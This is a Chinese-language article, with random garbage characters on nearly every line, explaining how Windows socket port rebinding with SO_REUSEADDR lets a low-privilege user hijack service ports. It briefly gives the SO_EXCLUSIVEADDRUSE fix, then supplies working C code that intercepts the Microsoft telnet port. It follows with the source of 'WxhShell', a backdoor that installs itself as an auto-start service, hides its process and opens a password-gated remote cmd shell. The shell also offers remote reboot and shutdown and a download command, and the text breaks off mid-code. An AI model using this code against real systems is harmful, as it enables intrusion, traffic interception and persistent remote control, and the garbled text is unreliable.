在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?[VS0IBS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?rr%uXQjH E@[`y:P saddr.sin_family = AF_INET;
eb+[=nmP (wbG0lu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O<o_MZN &4BN9`|: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d3Y#_!) E5 Y92vu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}0f[x ?V DmD*,[rD 这意味着什么?意味着可以进行如下的攻击:
=_v_#;h& T.&^1q WWA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vH7"tz&RIp #M8"b]oh6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iyj&O" ,gRsbC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
WU}JArX9 2Uk$9s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4pA(.<#A 5GpRN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]A!Gr(FHQ |yQ3H)qB# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5N '
QG<jE <$7*yV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
c
t,p?[Q tJg #include
IURi90Ir #include
=DF7l<&km #include
t;E-9`N #include
Af *^u|# DWORD WINAPI ClientThread(LPVOID lpParam);
L!/USh:IP int main()
qW7S<ouh {
@gs
Kb*, WORD wVersionRequested;
rEZa%)XJ DWORD ret;
HM--`RJ WSADATA wsaData;
M[Ls:\1a BOOL val;
j7O7P+DmS SOCKADDR_IN saddr;
WKmGw^ SOCKADDR_IN scaddr;
oIbd+6>f int err;
w{Dk,9>w) SOCKET s;
[h,T.zpa SOCKET sc;
13 int caddsize;
}R.cqk\qa^ HANDLE mt;
:IS]|3wD DWORD tid;
# {!Qf\1M wVersionRequested = MAKEWORD( 2, 2 );
SRj|XCd err = WSAStartup( wVersionRequested, &wsaData );
9-)oA+$ if ( err != 0 ) {
#9p{Y}2# printf("error!WSAStartup failed!\n");
"1`c^ return -1;
@KNp?2a }
O2A Z|[*I saddr.sin_family = AF_INET;
~M43#E[oOF G|X1c}zAL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%'t~+_ :9K5zD saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l<^#@S H saddr.sin_port = htons(23);
.F}ZP0THnZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3Jk;+< {
m"@M~~bh printf("error!socket failed!\n");
/[_>U{~P# return -1;
$Ne#F+M9x }
`EV[uj&1S val = TRUE;
k(hes3JV //SO_REUSEADDR选项就是可以实现端口重绑定的
ae#7*B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{f)",# {
{P-KU RQ printf("error!setsockopt failed!\n");
k,b(MAiQ0 return -1;
O^oFH
OpFh }
[YJP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7c<2oTN' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
TvMY\e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9k2HP]8=[{ <[[DS%(M^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&~^"yo#b {
2{**bArV ret=GetLastError();
vNi7=3 printf("error!bind failed!\n");
b^^Cj( return -1;
USe"1(|E }
K3'`!K a* listen(s,2);
>^>
\y8on while(1)
z26zl[. {
B 2&fvv? caddsize = sizeof(scaddr);
^|as]x!sv //接受连接请求
].2q.7Yur sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$eRxCX?b2 if(sc!=INVALID_SOCKET)
=^=9z'u"= {
xdp{y=,[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+<@7x16 if(mt==NULL)
%E~4 Ur {
uXu'I printf("Thread Creat Failed!\n");
q^Oq:l$s break;
(!{_O_& }
/gXli) }
luLm:NWUM CloseHandle(mt);
\wO)w@" }
pk(<],0]X closesocket(s);
g:e| WSACleanup();
>RE&>T^8 return 0;
<k}>eGn }
_W tSZmW? DWORD WINAPI ClientThread(LPVOID lpParam)
t`H^!
b {
'_@=9 \< SOCKET ss = (SOCKET)lpParam;
GEIMCg(TRj SOCKET sc;
kB"Sh_:m unsigned char buf[4096];
?nj _gL SOCKADDR_IN saddr;
~SP.&>Q> long num;
#y}@FG DWORD val;
0O"GI33Mg DWORD ret;
BP*gnXj //如果是隐藏端口应用的话,可以在此处加一些判断
9=
\bS6w* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
z15(8Y@2] saddr.sin_family = AF_INET;
$9Y2\'w<h6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ANn{*h saddr.sin_port = htons(23);
Zdj~B1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?i)-K?4Sb {
BxO2w1G printf("error!socket failed!\n");
u\&oiwSIP return -1;
m->
chOu~| }
:h*20iP val = 100;
E9%xSMS8@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{Am\%v\ {
"op1x to ret = GetLastError();
htlsU*x return -1;
,N<;!6e }
/ D#vs9S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
241YJ {
@l>\vs< ret = GetLastError();
M+)%gnq`u return -1;
QH~/UnV }
vy@;zrs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^ yH|k@y {
6bo,x printf("error!socket connect failed!\n");
: gv[X closesocket(sc);
aW4 tJN%! closesocket(ss);
zO9|s}J8q return -1;
WO^smCk }
9"_qa q while(1)
OQW#BBet@ {
tG{e( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6<sB //如果是嗅探内容的话,可以再此处进行内容分析和记录
dq"b_pr; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1}KNzMHk9 num = recv(ss,buf,4096,0);
(3c,;koRR if(num>0)
52wq<[#tK send(sc,buf,num,0);
:[|`&_D9J else if(num==0)
^?&Jq_oU break;
'rp(k\pY num = recv(sc,buf,4096,0);
-md2Z0^ Kc if(num>0)
qC.jXU?rO send(ss,buf,num,0);
;QREwT~H else if(num==0)
zu^?9k break;
pk: ruf`) }
8y~
Jn~t closesocket(ss);
Nd^9.6,JU closesocket(sc);
'1=/G7g return 0 ;
@\u)k }
%jKR\f G 3,3{wGvHHW /=,^fCCN ==========================================================
roj/GZAy" m5{Y 下边附上一个代码,,WXhSHELL
Nz*qz"T G/2@Mn- ==========================================================
m*CIbkDsZ [UR+G8X21m #include "stdafx.h"
5}e-\:J>B !ny;YV #include <stdio.h>
A}OV>y M #include <string.h>
+=$]f jE? #include <windows.h>
V:QfI #include <winsock2.h>
7ABHgw~?8r #include <winsvc.h>
V\!FD5% #include <urlmon.h>
:4]&R9J>o g^}X3NUn #pragma comment (lib, "Ws2_32.lib")
*z` {$hc #pragma comment (lib, "urlmon.lib")
h8u(lIRHQ <uu1e@P #define MAX_USER 100 // 最大客户端连接数
&=X1kQG #define BUF_SOCK 200 // sock buffer
QbxjfW"/+ #define KEY_BUFF 255 // 输入 buffer
s3/->1#i P]]9Sqo7 #define REBOOT 0 // 重启
Vy16Co #define SHUTDOWN 1 // 关机
qECc[)B jWUN~#p! #define DEF_PORT 5000 // 监听端口
u?Iop/b y !47!Dn #define REG_LEN 16 // 注册表键长度
;T-i+_ #define SVC_LEN 80 // NT服务名长度
o@EV>4e y "EWU:9\0 // 从dll定义API
vb{&T< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
TLPy/, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
JjyQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0pBlmPafY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j=PQoEtU'< H8Pil H // wxhshell配置信息
Y]&HU) u struct WSCFG {
Q(oWaG int ws_port; // 监听端口
[-s0'z char ws_passstr[REG_LEN]; // 口令
rTDx|pvYx int ws_autoins; // 安装标记, 1=yes 0=no
&zb_8y, char ws_regname[REG_LEN]; // 注册表键名
+_
K7x5g char ws_svcname[REG_LEN]; // 服务名
F{bET char ws_svcdisp[SVC_LEN]; // 服务显示名
,#gA(B# char ws_svcdesc[SVC_LEN]; // 服务描述信息
1S
0GjR char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,;GWn int ws_downexe; // 下载执行标记, 1=yes 0=no
@ DU]XKv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Uc<B)7{' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0N_Ma')i nU[ROy5 };
:9_K@f?n 1p+2*c // default Wxhshell configuration
Vy-H3BR struct WSCFG wscfg={DEF_PORT,
ULjW589zb "xuhuanlingzhe",
8
x|NR? 1,
Vnv<]D
zC "Wxhshell",
p9oru0q "Wxhshell",
67/hhO "WxhShell Service",
2EQ:mjxk "Wrsky Windows CmdShell Service",
+@usJkxul "Please Input Your Password: ",
XHlPjw 1,
v|t^th, "
http://www.wrsky.com/wxhshell.exe",
rZ w&[ G "Wxhshell.exe"
Ij@YOt };
r,[vXxMy(; '`/1?,= // 消息定义模块
o+/x8:
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
TcO@q ]+S char *msg_ws_prompt="\n\r? for help\n\r#>";
9.#\GI ; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;=F^G?p^ char *msg_ws_ext="\n\rExit.";
Pt";f char *msg_ws_end="\n\rQuit.";
n#,AZ& char *msg_ws_boot="\n\rReboot...";
'#u|RsZ char *msg_ws_poff="\n\rShutdown...";
DWm$:M4z char *msg_ws_down="\n\rSave to ";
A}H)ojG'v N$:[`, char *msg_ws_err="\n\rErr!";
vRRi"bo char *msg_ws_ok="\n\rOK!";
8'Z9Z*^h#x i?4vdL8M char ExeFile[MAX_PATH];
c.KpXY int nUser = 0;
&P[eA u HANDLE handles[MAX_USER];
AM'-(x| int OsIsNt;
-Ww'wH'2 3$(1LN SERVICE_STATUS serviceStatus;
E-.M+[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
p`33`25 S7E:&E& // 函数声明
&qMSJ int Install(void);
tA}O'x int Uninstall(void);
D-E30b]e int DownloadFile(char *sURL, SOCKET wsh);
_2 }i8q: int Boot(int flag);
:E@"4O?<Y) void HideProc(void);
-]W AB9 int GetOsVer(void);
1UyI.U] int Wxhshell(SOCKET wsl);
A;Xn#t ,(K void TalkWithClient(void *cs);
p&:RSO int CmdShell(SOCKET sock);
`Qaw]&O int StartFromService(void);
'WxcA)z0cQ int StartWxhshell(LPSTR lpCmdLine);
$N+a4 Le|Ho^h,Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vxk1RL*Xu VOID WINAPI NTServiceHandler( DWORD fdwControl );
WP2|0ib wEQV"I // 数据结构和表定义
Co[ rhs SERVICE_TABLE_ENTRY DispatchTable[] =
K}&|lCsb {
\AoM'+ {wscfg.ws_svcname, NTServiceMain},
Mf/zSQk+ {NULL, NULL}
!OPa
`kSh };
MFiX8zwhx+ |v[{k>7f // 自我安装
q`"gT;3S int Install(void)
qD7#q] {
+ [|2k(U char svExeFile[MAX_PATH];
pWw aN4 HKEY key;
h1FM)n[E7 strcpy(svExeFile,ExeFile);
&AZr(> L*D-RYW // 如果是win9x系统,修改注册表设为自启动
z"=#<C if(!OsIsNt) {
C;G~_if4PR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WnvuB.(@3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
efl6U/'Ij RegCloseKey(key);
pWO,yxr: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o*'J8El\y^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l?pZdAE RegCloseKey(key);
,DXNq`24 return 0;
&>*fJ }
wu/]M~XwI }
2}b1PMpZG }
zw7=:<z= else {
J0C,KU( 8`U5/!6fu // 如果是NT以上系统,安装为系统服务
$*9h\W-)`Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Do=*bZ;A if (schSCManager!=0)
k
.KN9=o {
H.'MQ SC_HANDLE schService = CreateService
.FXq4who (
K /g\x0 schSCManager,
,*@m<{DX) wscfg.ws_svcname,
kJZBQ<^ wscfg.ws_svcdisp,
HZkC3$ SERVICE_ALL_ACCESS,
Ac^}wXp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_F;(#D SERVICE_AUTO_START,
FC.y%P, SERVICE_ERROR_NORMAL,
l`[*b_
Xt svExeFile,
/V$[M NULL,
UStZ3A' NULL,
PfF7*}P NULL,
UyEyk$6SU NULL,
N6Vn/7I5% NULL
b_W0tiyv% );
vp[~%~1( if (schService!=0)
.NiPaUzc< {
UpN:F
CloseServiceHandle(schService);
++5W_Ooep CloseServiceHandle(schSCManager);
)o
SFHf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Me`jh8(K\6 strcat(svExeFile,wscfg.ws_svcname);
: \:jIP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O<)"kj 7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z>wg
o@z% RegCloseKey(key);
]9l=geZd%; return 0;
c03A_2% }
Hhx<k{B@7 }
,fT5I6l CloseServiceHandle(schSCManager);
,xn+T)2I }
iRPt0?$ }
Q|"{<2"]U0 lJ62[2=V return 1;
'2WYbcU }
D""d-oI[ U*(m'Ea // 自我卸载
,}=x8Xxr int Uninstall(void)
@Vr?)_0 {
BBnj}XP*4 HKEY key;
/IxMRi= 7M<7^)9 if(!OsIsNt) {
di
"rvw;R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z%hB=V!~91 RegDeleteValue(key,wscfg.ws_regname);
:05>~bn>pC RegCloseKey(key);
k10dkBoEX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*QG>U [ RegDeleteValue(key,wscfg.ws_regname);
cW/RH.N RegCloseKey(key);
BikmAa return 0;
6*A
S4l }
ME>OTs }
|FS79Bv }
']Nw{}eS` else {
v< xe(dC V/.Y]dN5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E@}t1!E< if (schSCManager!=0)
S@k4k^Vg {
D`o*OlU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WID4 {>G2 if (schService!=0)
N*|Mfpf {
JrQd7 if(DeleteService(schService)!=0) {
u%Hegqn CloseServiceHandle(schService);
I%h9V([ CloseServiceHandle(schSCManager);
HH&`f3 return 0;
`jSxq66L p }
`9(TqcE CloseServiceHandle(schService);
B+ud-M0 }
$-|`#|CBd CloseServiceHandle(schSCManager);
$*Njvr7 }
&DYHkG }
OHdCt G[)Ll= return 1;
Ep|W> }
aW$sd) a<k x95 // 从指定url下载文件
.8<bz4 int DownloadFile(char *sURL, SOCKET wsh)
V44IA[ {
b%2+g<UKh HRESULT hr;
i5T&1W i char seps[]= "/";
1 xm8w$% char *token;
jQFAlO(E': char *file;
*8CI'UX char myURL[MAX_PATH];
G +o)s char myFILE[MAX_PATH];
<Qe30_<K n-be8p)- strcpy(myURL,sURL);
*r6+Vz token=strtok(myURL,seps);
nbj &3z, while(token!=NULL)
\S{ise/U {
C_rlbl;T file=token;
T$U,rOB" token=strtok(NULL,seps);
QeuIAs* _ }
w^s|YF=c _ n,Ye&m GetCurrentDirectory(MAX_PATH,myFILE);
gI~Ru8 strcat(myFILE, "\\");
N?eWf +C
strcat(myFILE, file);
JK4vQWy send(wsh,myFILE,strlen(myFILE),0);
_Y4%Fv>@ send(wsh,"...",3,0);
t4R=$
km hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aze}koNE if(hr==S_OK)
x{`>Il return 0;
bF;g.-.2 else
+!\$SOaR{ return 1;
K9\`Wu_qL ne4j_!V{Mf }
2%y}El^+_ _5uzu6:y // 系统电源模块
_Qs=v0B// int Boot(int flag)
^31X-}tv {
Q&}`( ]k HANDLE hToken;
-&I)3 TOKEN_PRIVILEGES tkp;
-/*-e
/+b ]mYT!(} if(OsIsNt) {
v)mO"\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZW{pO:- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&x
=}m tkp.PrivilegeCount = 1;
_5 Zhv-7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
p}$VBl$' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BUqe~E|I if(flag==REBOOT) {
~mP#V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\R#]}g0! return 0;
5(R ./
}
1K.i>]}> else {
Q%o:*(x[O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*~~ >? return 0;
u )cc }
o(Yj[:+m }
T$RVz
else {
-$WU-7` if(flag==REBOOT) {
59A@~;.F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f'` QW@U return 0;
)F
Q
'^ }
B~K@o.% else {
1|_jV7`Mz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
r9G}[#DO return 0;
xPoI+, }
$Zf hQ5bat }
:_E=&4&g Bj5_=oo+d return 1;
Y -%g5 }
V+j58Wuf gM~dPM| // win9x进程隐藏模块
bBA
#o\[ void HideProc(void)
eT* )r~ {
@}k5rcQ*/ H/n3il_-I HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&~Qi+b0! if ( hKernel != NULL )
5]D"y Ay81 {
(!`TO{ !6P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N]f"+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
N=R|s$,Oy9 FreeLibrary(hKernel);
fgcI55&jV{ }
<pJeiMo %2>ya>/M return;
w9h`8pt }
L6S!?t.{Yv vDl6TKXcu // 获取操作系统版本
`R]B<gp int GetOsVer(void)
QS.t_5<U {
"l0z?u OSVERSIONINFO winfo;
j_i/h " winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
faH113nc GetVersionEx(&winfo);
fR[kjwX)<1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
naE;f) return 1;
sTeW4Hnp else
!jZXh1g% return 0;
B=?4; l7 }
E{+V_.tlu !;EG<ji,gj // 客户端句柄模块
zQvp<IUq int Wxhshell(SOCKET wsl)
CJ0{>? {
+
q@kRQY;n SOCKET wsh;
4mNg(w=NF struct sockaddr_in client;
v53qpqc DWORD myID;
Ovu!G
q mT enzIp while(nUser<MAX_USER)
=To}yJ# {
0G@sj7)] int nSize=sizeof(client);
h2M>4c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zq\YZ:JC if(wsh==INVALID_SOCKET) return 1;
^W}(]jL #J&45 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\H
<k if(handles[nUser]==0)
Y v22,|: closesocket(wsh);
&)Y26*(` else
HAa$pGb nUser++;
]3UEju8$ }
';<gc5EK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1Q-O&\-xg =P>c1T1- return 0;
cbsU!8 }
|-kU]NJFR }AdA?
:7A // 关闭 socket
9[#9cv void CloseIt(SOCKET wsh)
#{97<sU\ {
yn &+ >{ closesocket(wsh);
Z:51Q nUser--;
%-u Ra\ ExitThread(0);
:f1Q0klwP }
cO}`PD$i gzdR|IBa // 客户端请求句柄
ig:E`Fe@ void TalkWithClient(void *cs)
HHd;<% q {
!I3_KuJ5 t\&u SOCKET wsh=(SOCKET)cs;
rmVF88/; char pwd[SVC_LEN];
ks{y=@<, char cmd[KEY_BUFF];
gKyYBr char chr[1];
9k5$rK` int i,j;
"zpc)'$L= ^eu={0k while (nUser < MAX_USER) {
=2-!ay: wLX:~]<xl if(wscfg.ws_passstr) {
7&ty!PpD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9WE_9$<V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~cHpA;x9<^ //ZeroMemory(pwd,KEY_BUFF);
;fg8,(SM^ i=0;
df@r2 /Y while(i<SVC_LEN) {
6[cC1a3r: vd0;33$L // 设置超时
,LD[R1TU8 fd_set FdRead;
3 *0/<1f1! struct timeval TimeOut;
c& &^Do FD_ZERO(&FdRead);
'x'.[=; FD_SET(wsh,&FdRead);
P'wn$WE[n\ TimeOut.tv_sec=8;
(A@~]N,U/ TimeOut.tv_usec=0;
Z+# =]Kw) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^Bkwbj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`R\aNgCS} iv3=J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Rwu
y!F pwd
=chr[0]; }V@ *
:3w8
if(chr[0]==0xd || chr[0]==0xa) { fU?P__zU4
pwd=0; AC`4n|,zJ;
break; Atdr|2
} $?voQ&
i++; 5G$sP,n
} QOb+6qy:3
R<"fcsU
// 如果是非法用户,关闭 socket `TugtzRU
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +@n8DM{b
} (+M]C]
>j&+mii
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _tl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6I5,PB
ED0Vlw+1
while(1) { f=$w,^)M
$>Y2N5
ZeroMemory(cmd,KEY_BUFF); l'Oz-p.@
2.xA' \M
// 自动支持客户端 telnet标准 <oJM||ZA
j=0; R8Kj3wp
while(j<KEY_BUFF) { e|6kgj3/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G6l:El&
cmd[j]=chr[0]; e7T}*Up
if(chr[0]==0xa || chr[0]==0xd) { +`y{r^xD
cmd[j]=0; ihv=y\Jt
break; l y!vbpE_
} BYhF?
j++; ao+lLCr
} !&8nwOG
I-L52%E]
// 下载文件 7FQ&LF46
if(strstr(cmd,"http://")) { UaW,#P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @/(\YzQvp]
if(DownloadFile(cmd,wsh)) ?p&CR[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]j=Eof%Rc
else nTy8:k ']
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nU^ -D1s{
} Jf#Ika&px
else { 7EI5w37
blUnAu
o~
switch(cmd[0]) { o8PK,!Pl
T/m4jf2
// 帮助 :TPT]q
d@
case '?': { j@7%%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FR bmeq3c
break; pJnT \~o
} B^;G3+}
// 安装 !+<OED=qe
case 'i': { #8cpZ]#
if(Install()) fu=GgD*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%_7%
else D@O#P^?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (pDu
break; <./r%3$;7
} 2rzOh},RS
// 卸载 vS@;D7ep
case 'r': { 9A7LDHst7
if(Uninstall()) *h <_gn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -VC
kk
else -l:4I6-hi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e1Ne{zg~
break; rAv)k&l
} PUU
"k:{
// 显示 wxhshell 所在路径 FV 0x/)<z
case 'p': { 9 a$\l2
char svExeFile[MAX_PATH]; C>}@"eK
strcpy(svExeFile,"\n\r"); Q+i
strcat(svExeFile,ExeFile); z(o zMH
send(wsh,svExeFile,strlen(svExeFile),0); uPbGQ :%}
break; t9QnEP'
} 5]c\{G
// 重启 80'!XKSP
case 'b': { =yR$^VSY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KxA^?,t[
if(Boot(REBOOT)) 5 R*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Q?=I,2bP
else { oJ:\8>)9
closesocket(wsh); .!oYIF*0zC
ExitThread(0); =x &"aF1
} {E 'go]
break; hOOkf mOM
} ?"+g6II
// 关机 cZb5h 9
case 'd': { g,k} nkIT
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rDD,eNjG
if(Boot(SHUTDOWN)) w%3*T#tp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E/0jxM1
else { 4qYT
closesocket(wsh); U8>M`e"D
ExitThread(0); 'joc8o sS
} @5=2+ M
break; ZUA%ZkX=F
} 5#WyI#YNG
// 获取shell ~zd+M/8
case 's': { 4#MPD
CmdShell(wsh); ='[J.
closesocket(wsh); \nzaF4+$
ExitThread(0); C"gH>G
break; mw!EDJ;'
} '(6
^O=
// 退出 EqYBT
case 'x': { Vm"{m/K0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `mt x+C
CloseIt(wsh); I{8sLzA03S
break; 17C"@1n-
} ;_nV*G.y#^
// 离开 o8ERU($/
case 'q': { [_X.Equ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (K74Qg
closesocket(wsh); s(?A=JJ
WSACleanup(); 4nz$Ja)
exit(1); {F'~1qf
break; yGs:3KI
} |<aF)S4
} g'pB<?'E'
} S 9;:)
9 aacW
// 提示信息 6?(Z f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PF+SHT'4}#
} [
U`})
} w vnuE<o8
d%(4s~y
return; 9*ek5vPB
} |PaVb4j
{[[j .)
// shell模块句柄 !uxma~ZH-
int CmdShell(SOCKET sock) A.|98*U%
{ *[ww;
STARTUPINFO si; o_#F,gze)S
ZeroMemory(&si,sizeof(si)); +gh*n,:|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JA]qAr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I7-6|J@#^
PROCESS_INFORMATION ProcessInfo; k3-7Vyg
char cmdline[]="cmd"; .~C[D
T+,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nuucYm%IF-
return 0; !]l!I9
} $j"TPkW{M
qJZ:\u8oO
// 自身启动模式 OBp&64
int StartFromService(void) *S?vw'n
{ abczW[\
typedef struct RHj<t");
{ &f"kWOe$X
DWORD ExitStatus; ';J><z{>
DWORD PebBaseAddress; {sR|W:fS$
DWORD AffinityMask; 79y'PFSms
DWORD BasePriority; b'mp$lt!
ULONG UniqueProcessId; uupfL>h
ULONG InheritedFromUniqueProcessId; wQR0R~|M
